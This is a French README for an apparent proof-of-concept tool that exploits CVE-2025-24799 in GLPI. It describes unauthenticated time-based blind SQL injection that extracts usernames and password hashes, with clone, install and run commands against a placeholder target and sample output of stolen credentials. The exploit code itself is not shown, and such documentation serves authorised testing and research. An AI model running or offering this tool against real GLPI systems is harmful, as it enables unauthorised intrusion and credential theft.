CVE-2025-24799 Exploitation Automatique

⚡ Aperçu

CVE-2025-24799 est un exploit de preuve de concept (PoC) ciblant GLPI.
Cet exploit démontre une injection SQL non authentifiée (aveugle basée sur le temps) pour extraire les identifiants utilisateur.

Avertissement : Ce PoC est à des fins éducatives uniquement. Ne l'utilisez pas sur des systèmes sans autorisation.

🛠 Fonctionnalités

• Détecte la table glpi_users et les colonnes requises (name et password)
• Extrait les noms d'utilisateur et les mots de passe séquentiellement
• Injection SQL aveugle basée sur le temps pour une exploitation non authentifiée
• Sortie console colorée avec messages de statut, de succès, d'échec et d'information
• Fonctionne sur Python 3.x avec un minimum de dépendances

⚙️ Installation

1. Clonez le dépôt :

git clone https://github.com/Rosemary1337/CVE-2025-24799.git
cd CVE-2025-24799

2. Installez les dépendances :

pip install -r requirements.txt

Prérequis : requests, colorama, beautifulsoup4

🚀 Utilisation

python3 main.py -u <TARGET_URL>

Exemple :

python3 main.py -u http://target.com/index.php/ajax

Arguments

🎨 Sortie

La console affiche :

• Messages de statut [•]
• Succès [✔]
• Échec [✖]
• Informations [i]

Exemple :

[•] Exploiting CVE-2025-24799...
[✔] Table 'glpi_users' found.
[✔] Required columns verified.
[i] Starting credential extraction...

[+] Credential 1: admin:5f4dcc3b5aa765d61d8327deb882cf99
[+] Credential 2: user:123456
[*] Extraction complete.

🔐 Sécurité et Avertissement

• À des fins éducatives et de test uniquement.
• N'attaquez pas de sites Web sans autorisation explicite.
• À utiliser uniquement dans un laboratoire contrôlé ou un test d'intrusion autorisé.

🔗 Contactez-moi

Je suis un développeur actif qui aime créer des outils et partager ses connaissances. Vous pouvez me joindre via :